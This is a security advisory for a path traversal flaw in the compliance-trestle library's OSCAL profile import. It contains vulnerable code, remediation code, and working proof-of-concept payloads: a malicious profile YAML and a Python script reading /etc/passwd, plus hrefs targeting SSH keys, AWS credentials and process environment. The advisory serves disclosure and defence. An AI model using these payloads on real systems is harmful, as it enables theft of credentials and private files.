CVE-2026-45774

Description

## Summary The compliance-trestle library's profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem. Three attack vectors confirmed: 1. **PT-001:** `trestle://../../etc/passwd` — via trestle:// URI scheme 2. **PT-002:** `../../etc/passwd` — via relative path in href 3. **PT-003:** back_matter rlinks with traversal paths **Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML. ## Affected Component **Repository:** https://github.com/IBM/compliance-trestle **File:** `trestle/core/remote/cache.py` (lines 175-179) **File:** `trestle/core/resolver/_import.py` (line 104) **Version:** v4.0.2 (latest as of 2026-04-30) ## Vulnerable Code ### cache.py:175-179 — LocalFetcher (trestle:// URI handling) ```python class LocalFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: super().__init__(trestle_root, uri) # ... elif uri.startswith(const.TRESTLE_HREF_HEADING): uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :]) self._abs_path = pathlib.Path(uri).resolve() # ❌ NO boundary check — .resolve() follows ../ # ❌ NO is_relative_to() validation # ❌ Result can be /etc/passwd self._cached_object_path = self._abs_path return ``` ### cache.py:194 — LocalFetcher (relative path handling) ```python # For relative paths (no trestle:// or file:// prefix): try: self._abs_path = pathlib.Path(uri).resolve() # ❌ Same issue — resolves relative to CWD with no boundary check except Exception: raise TrestleError(...) ``` ### _import.py:73-104 — Profile import href resolution ```python class Import(Pipeline.Filter): def __init__(self, ...): # Line 73-83: back_matter rlinks used directly if self._import.href[0] == '#': resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0] self._import.href = [ rlink.href # ❌ rlink.href from OSCAL data — user-controlled for rlink in resource.rlinks if rlink.href.endswith('.json') or rlink.href.endswith('.yaml') ][0] # Line 104: href passed directly to FetcherFactory fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href) ``` **Root Cause:** 1. `Path(trestle_root / "../../etc/passwd").resolve()` = `/etc/passwd` 2. No `is_relative_to(trestle_root)` check after resolve 3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code) 4. Even if enforced, the regex `'^trestle://[^/]'` would PASS traversal payloads (`.` is `[^/]`) ## Steps to Reproduce ### Prerequisites ```bash pip install compliance-trestle==4.0.2 ``` ### PoC: Malicious OSCAL Profile ```yaml # malicious_profile.yaml profile: uuid: "550e8400-e29b-41d4-a716-446655440000" metadata: title: "Malicious Profile" version: "1.0" last-modified: "2024-01-01T00:00:00+00:00" oscal-version: "1.0.4" imports: - href: "trestle://../../../../../../etc/passwd" ``` ### PoC: Direct LocalFetcher Exploit ```python #!/usr/bin/env python3 """PoC: trestle:// path traversal via real LocalFetcher""" from pathlib import Path from trestle.core.remote.cache import LocalFetcher import tempfile trestle_root = Path(tempfile.mkdtemp()) # Normal usage — stays within workspace normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json") print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json # Exploit — escapes workspace evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd") print(f"Evil: {evil._abs_path}") # /etc/passwd print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}") # Output: root:x:0:0:root:/root:/bin/bash ``` **Expected:** Path traversal blocked with error **Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully ## Remediation ```python class LocalFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: super().__init__(trestle_root, uri) # ... elif uri.startswith(const.TRESTLE_HREF_HEADING): uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :]) self._abs_path = pathlib.Path(uri).resolve() # ✅ ADD: Boundary check if not self._abs_path.is_relative_to(self._trestle_root): raise TrestleError( f"Path traversal blocked: resolved path '{self._abs_path}' " f"is outside trestle root '{self._trestle_root}'" ) self._cached_object_path = self._abs_path return ``` Same fix needed for relative path handling at line 194. Additionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used). ## Resources - **CWE-22:** https://cwe.mitre.org/data/definitions/22.html - **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/ - **compliance-trestle:** https://github.com/IBM/compliance-trestle ## Impact 1. **Credential Theft via OSCAL Import:** ```yaml imports: - href: "trestle://../../root/.aws/credentials" - href: "trestle://../../root/.ssh/id_rsa" ``` 2. **System Reconnaissance:** ```yaml imports: - href: "trestle://../../etc/passwd" - href: "trestle://../../proc/self/environ" ``` 3. **Supply Chain Attack:** Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution. 4. **Dead Code Evidence:** `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere — proves path validation was INTENDED but never implemented.